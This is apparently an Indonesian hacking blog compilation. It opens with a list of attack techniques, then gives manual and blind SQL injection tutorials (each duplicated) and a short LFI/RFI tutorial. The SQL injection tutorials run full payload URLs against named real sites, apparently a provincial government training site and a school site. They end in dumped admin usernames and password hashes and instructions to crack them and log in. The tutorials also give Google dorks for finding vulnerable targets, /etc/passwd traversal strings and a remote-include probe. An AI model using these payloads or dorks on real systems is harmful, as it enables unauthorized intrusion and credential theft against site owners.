Inilah Cara yang Dipakai Seorang Hacker Untuk Menembus Situs Atau
Web-Cara cara seoarang hacker menembus ataupun menyusup dan juga merusak
suatu website adalah sebagai berikut.Teknik teknik itu antara lain:
1. IP Spoofing
2. FTP Attack
3. Unix Finger Exploits
4. Flooding & Broadcasting
5. Fragmented Packet Attacks
6. E-mail Exploits
7. DNS and BIND Vulnerabilities
8. Password Attacks
9.Proxy Server Attacks
10. Remote Command Processing Attacks
11. Remote File System Attack
12. Selective Program Insertions
13. Port Scanning
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
15. HTTPD Attacks
1. IP Spoofing
IP Spoofing juga dikenal sebagai Source Address Spoofing, yaitu
pemalsuan alamat IP attacker sehingga sasaran menganggap alamat IP
attacker adalah alamat IP dari host di dalam network bukan dari luar
network. Misalkan attacker mempunyai IP address type A 66.25.xx.xx
ketika attacker melakukan serangan jenis ini maka Network yang diserang
akan menganggap IP attacker adalah bagian dari Networknya misal
192.xx.xx.xx yaitu IP type C.
IP Spoofing terjadi ketika seorang attacker "mengakali" packet routing
untuk mengubah arah dari data atau transmisi ke tujuan yang berbeda.
Packet untuk routing biasanya di transmisikan secara transparan dan
jelas sehingga membuat attacker dengan mudah untuk memodifikasi asal
data ataupun tujuan dari data. Teknik ini bukan hanya dipakai oleh
attacker tetapi juga dipakai oleh para security profesional untuk men
tracing identitas dari para attacker
2. FTP Attack
Salah satu serangan yang dilakukan terhadap File Transfer Protocol
adalah serangan buffer overflow yang diakibatkan oleh malformed command.
tujuan menyerang FTP server ini rata-rata adalah untuk mendapatkan
command shell ataupun untuk melakukan Denial Of Service. Serangan Denial
Of Service akhirnya dapat menyebabkan seorang user atau attacker untuk
mengambil resource didalam network tanpa adanya autorisasi, sedangkan
command shell dapat membuat seorang attacker mendapatkan akses ke sistem
server dan file-file data yang akhirnya seorang attacker bisa membuat
anonymous root-acces yang mempunyai hak penuh terhadap system bahkan
network yang diserang
3. Unix Finger Exploits
Pada masa awal internet, Unix OS finger utility digunakan secara efisien
untuk men sharing informasi diantara pengguna. Karena permintaan
informasi terhadap informasi finger ini tidak menyalahkan peraturan,
kebanyakan system Administrator meninggalkan utility ini (finger) dengan
keamanan yang sangat minim, bahkan tanpa kemanan sama sekali. Bagi
seorang attacker utility ini sangat berharga untuk melakukan informasi
tentang footprinting, termasuk nama login dan informasi contact.
Utility ini juga menyediakan keterangan yang sangat baik tentang
aktivitas user didalam sistem, berapa lama user berada dalam sistem dan
seberapa jauh user merawat sistem. Informasi yang dihasilkan dari finger
ini dapat meminimalisasi usaha kracker dalam menembus sebuah sistem.
Keterangan pribadi tentang user yang dimunculkan oleh finger daemon ini
sudah cukup bagi seorang atacker untuk melakukan social engineering
dengan menggunakan social skillnya untuk memanfaatkan user agar
"memberitahu" password dan kode akses terhadap system.
4. Flooding & Broadcasting
Seorang attacker bisa mengurangi kecepatan network dan host-host yang
berada di dalamnya secara significant dengan cara terus melakukan
request/ permintaan terhadap suatu informasi dari sever yang bisa
menangani serangan classic Denial Of Service (DoS), mengirim request ke
satu port secara berlebihan dinamakan flooding, kadang hal ini juga
disebut spraying. Tujuan dari kedua serangan ini adalah sama yaitu
membuat network resource yang Menyediakan informasi menjadi lemah dan
akhirnya menyerah.
Serangan dengan cara Flooding bergantung kepada dua faktor yaitu: ukuran
dan/atau volume (size and/or volume). Seorang attacker dapat
menyebabkan Denial Of Service dengan cara melempar file berkapasitas
besar atau volume yang besar dari paket yang kecil kepada sebuah system.
Dalam keadaan seperti itu network server akan menghadapi kemacetan:
terlalu banyak informasi yang diminta dan tidak cukup power untuk
mendorong data agar berjalan. Pada dasarnya paket yang besar membutuhkan
kapasitas proses yang besar pula, tetapi secara tidak normal paket yang
kecil dan sama dalam volume yang besar akan menghabiskan resource
secara percuma, dan mengakibatkan kemacetan
5. Fragmented Packet Attacks
Data-data internet yang di transmisikan melalui TCP/IP bisa dibagi lagi
ke dalam paket-paket yang hanya mengandung paket pertama yang isinya
berupa informasi bagian utama (header/ kepala) dari TCP. Beberapa
firewall akan mengizinkan untuk memproses bagian dari paket-paket yang
tidak mengandung informasi alamat asal pada paket pertamanya, hal ini
akan mengakibatkan beberapa type system menjadi crash. Contohnya, server
NT akan menjadi crash jika paket-paket yang dipecah (fragmented packet)
cukup untuk menulis ulang informasi paket pertama dari suatu protokol
6. E-mail Exploits
Peng-exploitasian e-mail terjadi dalam lima bentuk yaitu: mail floods,
manipulasi perintah (command manipulation), serangan tingkat
transportasi(transport level attack), memasukkan berbagai macam kode
(malicious code inserting) dan social engineering(memanfaatkan
sosialisasi secara fisik). Penyerangan email bisa membuat system menjadi
crash, membuka dan menulis ulang bahkan mengeksekusi file-file aplikasi
atau juga membuat akses ke fungsi fungsi perintah (command function)
7. DNS and BIND Vulnerabilities
Berita baru-baru ini tentang kerawanan (vulnerabilities) tentang
aplikasi Barkeley Internet Name Domain (BIND) dalam berbagai versi
mengilustrasikan kerapuhan dari Domain Name System (DNS), yaitu krisis
yang diarahkan pada operasi dasar dari Internet (basic internet
operation)
8. Password Attacks
Password merupakan sesuatu yang umum jika kita bicara tentang kemanan.
Kadang seorang user tidak perduli dengan nomor pin yang mereka miliki,
seperti bertransaksi online di warnet, bahkan bertransaksi online
dirumah pun sangat berbahaya jika tidak dilengkapi dengan software
security seperti SSL dan PGP. Password adalah salah satu prosedur
kemanan yang sangat sulit untuk diserang, seorang attacker mungkin saja
mempunyai banyak tools (secara teknik maupun dalam kehidupan sosial)
hanya untuk membuka sesuatu yang dilindungi oleh password.
Ketika seorang attacker berhasil mendapatkan password yang dimiliki oleh
seorang user, maka ia akan mempunyai kekuasaan yang sama dengan user
tersebut. Melatih karyawan/ user agar tetap waspada dalam menjaga
passwordnya dari social engineering setidaknya dapat meminimalisir
risiko, selain berjaga-jaga dari praktek social enginering organisasi
pun harus mewaspadai hal ini dengan cara teknikal. Kebanyakan serangan
yang dilakukan terhadap password adalah menebak (guessing), brute force,
cracking dan sniffing
9.Proxy Server Attacks
Salah satu fungsi Proxy server adalah untuk mempercepat waktu response
dengan cara menyatukan proses dari beberapa host dalam suatu trusted
network
10. Remote Command Processing Attacks
Trusted Relationship antara dua atau lebih host Menyediakan fasilitas
pertukaran informasi dan resource sharing. Sama halnya dengan proxy
server, trusted relationship memberikan kepada semua anggota network
kekuasaan akses yang sama di satu dan lain system (dalam network).
Attacker akan menyerang server yang merupakan anggota dari trusted
system. Sama seperti kerawanan pada proxy server, ketika akses diterima,
seorang attacker akan mempunyai kemampuan mengeksekusi perintah dan
mengkases data yang tersedia bagi user lainnya
11. Remote File System Attack
Protokol-protokol untuk tranportasi data (tulang punggung dari internet)
adalah tingkat TCP (TCP Level) yang mempunyai kemampuan dengan
mekanisme untuk baca/tulis (read/write) Antara network dan host.
Attacker bisa dengan mudah mendapatkan jejak informasi dari mekanisme
ini untuk mendapatkan akses ke direktori file
12. Selective Program Insertions
Selective Program Insertions adalah serangan yang dilakukan ketika
attacker menaruh program-program penghancur, seperti virus, worm dan
trojan (mungkin istilah ini sudah anda kenal dengan baik ?) pada system
sasaran. Program-program penghancur ini sering juga disebut malware.
Program-program ini mempunyai kemampuan untuk merusak system, pemusnahan
file, pencurian password sampai dengan membuka backdoor
13. Port Scanning
Melalui port scanning seorang attacker bisa melihat fungsi dan cara
bertahan sebuah system dari berbagai macam port. Seorang atacker bisa
mendapatkan akses kedalam sistem melalui port yang tidak dilindungi.
Sebaia contoh, scaning bisa digunakan untuk menentukan dimana default
SNMP string di buka untuk publik, yang artinya informasi bisa di extract
untuk digunakan dalam remote command attack
14.TCP/IP Sequence Stealing, Passive Port Listening and Packet
Interception TCP/IP Sequence Stealing, Passive Port Listening dan Packet
Interception berjalan untuk mengumpulkan informasi yang sensitif untuk
mengkases network. Tidak seperti serangan aktif maupun brute-force,
serangan yang menggunakan metoda ini mempunyai lebih banyak kualitas
stealth-like
15. HTTPD Attacks
Kerawanan yang terdapat dalam HTTPD ataupun webserver ada lima macam:
buffer overflows, httpd bypasses, cross scripting, web code
vulnerabilities, dan URL floods
Friday, October 25, 2013
Tutorial SQL Injection Manual
Pengertian SQL Injection
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :
id=$id;……. > Got Error
Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.
Contoh :
http://situstarget.com/news.php?id=1’
http://situstarget.com/news.php?id=’1
Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.
Dork SQLi :
Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.
http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error
Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.
Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.
Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--
Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.
Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--
Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--
Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--
Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja, jebreet jebreet jebreet :D
Sumber : IDCA
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat memasukkan perintah-perintah SQL melalui url untuk dieksekusi oleh database. Penyebab utama dari celah ini adalah variable yang kurang di filter :
id=$id;……. > Got Error
Hal pertama yang harus kita lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter ‘ setelah atau sesudah angka pada url.
Contoh :
http://situstarget.com/news.php?id=1’
http://situstarget.com/news.php?id=’1
Pertama kita cari dulu website yang memiliki celah SQL Injection. silahkan sobat cari target di google dengan menggunakan dork.
Dork SQLi :
inurl:azerty.php?id= ,Disini saya sudah menemukan targetnya : http://diklat.lampungprov.go.id/more.php?id=1
inurl:bouquin.php?id= ,
inurl:lien.php?id= ,
inurl:clavier.php?id=
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:games.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
Kemudian kita akan mencari dan menghitung jumlah tabel yang ada pada database web tersebut. silahkan sobat gunakan perintah : order by 1 - dan seterusnya sampai terjadi error pada halaman. gunaka tanda + sebagai spasi, dan pada akhir perintah gunakan tanda --.
http://diklat.lampungprov.go.id/more.php?id=1+order+by+1-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+2-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+3-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+4-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+5-- < No Error [Terlalu banyak diSkip aja]
http://diklat.lampungprov.go.id/more.php?id=1+order+by+17-- < No Error
http://diklat.lampungprov.go.id/more.php?id=1+order+by+18-- < Error
Pada angka 18 ternyata muncul error, jadi yang kita ambil angka sebelum munculnya pesan error. itu berarti jumlah tabel pada databasenya ada 17.
Selanjutnya kita akan mencari angka tabel yang bisa kita gunakan untuk perintah2 injection pada tahap selanjutnya. Gunakan perintah union select diikuti jumlah tabel dan tanda - sebelum angka dan diakhiri dengan tanda --. contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17--
Disini bisa kita lihat bahwa angka yang muncul yaitu 16 dan 17. kedua angka tersebut nantinya yang akan kita masukkan perintah2 selanjutnya.
Pada tahap Selanjutnya kita akan mengetahui versi database yang dipakai oleh web tersebut. gunakan perintah "version()" atau "@@version".
contoh:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,@@version,17--
Nah pada gambar kita bisa lihat versi database yang dipake adalah v.5.5.14, jadi pada versi 5 itu berberda dengan versi 4. prosesnya lebih repot pada versi 4, karena untuk melakukan perintah2 SQLi pada versi 4 kita harus menebak 1 per 1 tabel yang ada pada databasenya.
Sekarang perintah selanjutnya kita akan memunculkan nama-nama tabel yang ada pada web tersebut. gunakan perintah “group_concat(table_name)” dan menambahkan perintah “from+information_schema.tables+where+table_schema=database()" sesudah angka terakhir, dan diakhiri dengan tanda --.
contoh :
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(table_name),17+from+information_schema.tables+where+table_schema=database()--
Disitu kita dapatkan nama-nama tabelnya sperti : tbadmin, tbbukutamu, tbcontent, tbcounter, tbdivisi, tbgolongan, tbjadwal, dll. Langkah selanjutnya kita akan mencari username dan password admin pada tabel tbadmin. Perlu diketahui bahwa tidak semua nama tabel pada setiap web itu sama, jadi untuk mencari tabel admin, silahkan sobat kira-kira saja dimana tabel yang sobat curigai tempat username dan password admin berada. Kemudian untuk mengeluarkan isi yang ada pada kolom tbadmin gunakan perintah berikut: “group_concat(columns_name) ” dan perintah “from+information_schema.columns+where+table_name=CHAR()" sesudah angka terakhir, dan diakhiri dengan tanda --. Pada tahap ini nama tabel tbadmin harus dikonversi dulu ke bentuk decimal :) silahkan sobat gunakan toolsnya DISINI. kemudian hasil konversi tbadmin adalah 116 98 97 100 109 105 110 lalu kita masukkan ke CHAR(116, 98, 97, 100, 109, 105, 110) dan pisahkan dengan koma. jadi perintahnya seperti berikut:
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(column_name),17+from+information_schema.columns+where+table_name=CHAR(116, 98, 97, 100, 109, 105, 110)--
Nah disitu muncul kolom username, pswd, status. lalu langkah selanjutnya kita akan melihat isi dari kolom kolom yang muncul tadi dengan menambah perintah group_concat(username,0x3a,pswd,0x3a,status) . jangan lupa di setiap sela2 tambahkan kode 0x3a yg merupakan hasil konversi hexa dari tanda titik dua ( : ). lalu tambahkan perintah +from+tbadmin--, tbadmin merupakan tabel yang kita dapatkan tadi.
http://diklat.lampungprov.go.id/more.php?id=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,group_concat(username,0x3a,pswd,0x3a,status),17+from+tbadmin--
Nah kan udah keliatan username dan passwordnya.. :) dari gambar muncul data :
user1:8dfad4f7356a2e403c900b2944990ddc:1,user:8dfad4f7356a2e403c900b2944990ddc:0 selanjutnya sobat tinggal mengcrack password yang berbentuk md5 hash tersebut. untuk mengcracknya silahkan gunakan toolsnya disini. Selanjutnya tinggal mencari halaman logginnya. kalo semua sudah ketemu, tinggal loggin aja, jebreet jebreet jebreet :D
Sumber : IDCA
Tutorial Blind SQL Injection
Apa sih Blind SQL Injection itu?
Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...
disini GT memakai command :
mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter
lanjut..
ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita tidak memakai blind,karena v4 tidak support query information_schema
kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw
lanjut...
Target: www.smanti.com (thx to bejamz udah ngasih target :)
1.PENGETESAN BUG
Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1
www.smanti.com/berita.php?id=5 and 1=0 <<<false
www.smanti.com/berita.php?id=5 and 1=1 <<<true
eh ternyata ada bug nya...
lanjut....
2.BLIND INJECT
Query yg dipakai: and mid(user(),1,1)=CHAR(65)
saya jelaskan sedikit deh..
mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut
sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...
lanjut..
mari kita masukkan
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)
ternyata hasilnya masih false (beritanya hilang)
berarti value yg kita masukkan salah..
tinggal tambah value na..jadi..
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<masih false juga..
dst sampe kita menemukan keadaan true(beritanya muncul kembali)
kebetulan ada di char(83)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <<akhirnya true..
cape?masih kuat?hahaha..trial n error...
lanjut..
kita tambain value na..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
adakah perbedaan nya?
yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..
gini nih..
1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)
dst.. sampe dpet yg true..
ternyata yg true ngumpet di value 77
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)
lanjutin trus langkah2na..
cari value k 3 user..
www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)
eh langsung ktemu..hehehe..
lanjut value k 4..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)
ternyata ktemu di value 78..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)
lanjut trus aja...
cape gw..
pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table
www.piclist.com/techref/ascii.htm
stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN
nah udah hampir ktebak user name nya..kerjain ndiri y..okey
nah..gmana kalo mw dapet password na?
kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..
jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)
cari lagi..sama kayak cari user tadi..harus sabar..
ulangi sampai dapat true ..
tambain value na..wkwkwkw..
dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password
.
metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)
akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...
Sumber :IDCA
Blind SQL Injection adalah salah satu tehnik exploitasi database yang berbeda dengan sql injection biasa dimana pada sql injection biasa akan mengeluarkan sebuah value akan tetapi pada tehnik blind sql injection tidak akan mengeluarkan value apapun akan tetapi kita akan mengetahui value tersebut dengan trial and error akan value tersebut / menguji true atau falsenya value tersebut...
disini GT memakai command :
mid()= hampir sama fungsinya dengan substring()
char()= adalah peubah dari karakter
lanjut..
ingat..sebelum mencoba,kita cek version sql nya..cara cek ada d tutorial sql inject yg satu lg..
kalau version 4..kita tidak memakai blind,karena v4 tidak support query information_schema
kalau version 5,boleh pake ini,boleh pake sql inject yg biasa..wkwkwkw
lanjut...
Target: www.smanti.com (thx to bejamz udah ngasih target :)
1.PENGETESAN BUG
Seperti biasa..ikuti langkah sebelumnya,seperti di tutorial SQL Inject biasa..cari halaman yng dinamis,sisipkan and 1=0 dan and 1=1
www.smanti.com/berita.php?id=5 and 1=0 <<<false
www.smanti.com/berita.php?id=5 and 1=1 <<<true
eh ternyata ada bug nya...
lanjut....
2.BLIND INJECT
Query yg dipakai: and mid(user(),1,1)=CHAR(65)
saya jelaskan sedikit deh..
mid(user()1,1) = dalam kasus ini kita tidak tahu value dari user itu apa maka dalam "()" kita kosongkan dan angka 1,1 dibelakang () adalah urutan dari value tersebut
sedangkan CHAR adalah peubah dalam decimal dan (65) adalah value decimal tersebut.
kenapa kita mulai dengan 65 ?
karena "65" adalah "A" dalam ascii...
lanjut..
mari kita masukkan
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(65)
ternyata hasilnya masih false (beritanya hilang)
berarti value yg kita masukkan salah..
tinggal tambah value na..jadi..
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(66) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(67) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(68) <<masih false
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(69) <<masih false juga..
dst sampe kita menemukan keadaan true(beritanya muncul kembali)
kebetulan ada di char(83)
www.smanti.com/berita.php?id=5 and mid(user(),1,1)=CHAR(83) <<akhirnya true..
cape?masih kuat?hahaha..trial n error...
lanjut..
kita tambain value na..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
adakah perbedaan nya?
yap,angka pada user kita naikkan menjadi 2 dan kita menambahkan value char kembali,dari 65..
gini nih..
1,1 = value pertama user
1,2 = value kedua user
1,3 = value ketiga user
dst
dan 83 adalah nilai true,lalu kita tambahkan..
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,67)
dst.. sampe dpet yg true..
ternyata yg true ngumpet di value 77
www.smanti.com/berita.php?id=5 and mid(user(),1,2)=CHAR(83,77)
lanjutin trus langkah2na..
cari value k 3 user..
www.smanti.com/berita.php?id=5 and mid(user(),1,3)=CHAR(83,77,65)
eh langsung ktemu..hehehe..
lanjut value k 4..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,65)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,66)
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,67)
ternyata ktemu di value 78..
www.smanti.com/berita.php?id=5 and mid(user(),1,4)=CHAR(83,77,65,78)
lanjut trus aja...
cape gw..
pokoknya..setelah dapet smua..kita convert char yang tadi di ke ascii table
www.piclist.com/techref/ascii.htm
stelah d convert,ternyata 83 77 65 78 tuh d ascii adalah SMAN
nah udah hampir ktebak user name nya..kerjain ndiri y..okey
nah..gmana kalo mw dapet password na?
kita rubah value
user() menjadi database() dan ulangi tahap2 diatas hingga mendapat semua value yang true..
jadi
www.smanti.com/berita.php?id=5 and mid(database(),1,1)=CHAR(65)
cari lagi..sama kayak cari user tadi..harus sabar..
ulangi sampai dapat true ..
tambain value na..wkwkwkw..
dan rubah value database() untuk mencari value lainnya..
hingga mendapat admin password dan db password
.
metode blind sql injection seperti ini membutuhkan kesabaran dan ketelitian attacker untuk mendapatkan value yg tepat..(true)
akan tetapi metode ini hingga sekarang cukup efektif untuk web yang telah menfilter celah sql injection...hehehe...
Sumber :IDCA
Tutorial Singkat RFI & LFI
Sebelumnya apa sih LFI dan RFI itu??
LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.
RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server.
Penjelasan
fungsi-fungsi yang dapat menyebabkan LFI/RFI:
Dengan syarat pada konfigurasi php di server:
allow_url_include = on
allow_url_fopen = on
magic_quotes_gpc = off
contoh:
misalkan kita punya file index.php dengan content kodenya seperti ini,
misal $imagefile=image.php
mungkin di url akan terlihat seperti ini bentuknya
maka script ini akan menampilkan halaman image.php.
nah disini attacker akan dapat melakukan LFI karena variable imagefile di include begitu saja tanpa menggunakan filter.
misalnya attacker ingin mengakses file passwd yang ada pada server, maka dia akan mencoba memasukan seperti ini ../../../../../../../../../etc/passwd << dengan jumlah "../" itu tergantung dari kedalaman folder tempat file index.php tersebut.. dengan begitu isi file passwd akan ditampilkan di browser. kita bisa menggunakan metode menebak struktur folder dalam website target :lol:
tapi seandainya terdapat error seperti di bawah ini:
Warning: main(../../../../../../../../../etc/passwd.php) [function.main]: failed to open stream: No such file or directory in /their/web/root/index.php on line 2
liat pada passwd ternyata dia ditambah dengan extensi ".php" berarti code yang digunakan untuk include adalah seperti ini
nah untuk dapat mengelabui script tersebut kita bisa menggunakan (dengan syarat magic_quotes_gpc = off) jadi dibelakang /etc/passwd kita tambahkan seperti
http://www.[target].com/index.php?imagefile=../../../../../../../../../etc/passwd
lalu untuk apa ? yaitu untuk menghilangkan karakter apapun setelah passwd.
* ini disebut null injection.
Nah kita sudah menemukan bug LFI pada website target, sekarang kita coba cari bug RFI dengan menambahkan link file remote (dari luar website) pada variable imagefile. misalnya:
http://www.[target].com/index.php?imagefile=http://www.[remote].com/evil.txt
dengan file evil.txt misal berisi "hacked by n4is3n"
jika ternyata di browser menampilkan kalimat tersebut berarti website tersebut vulner terhadap bug RFI juga.
Pencegahan
Nah sekarang saatnya untuk pencegahan kedua bug tersebut, yaitu
1. Memvalidasi variable.
2. Mengkonfigurasi kembali settingan php pada server website Anda.
allow_url_include = off
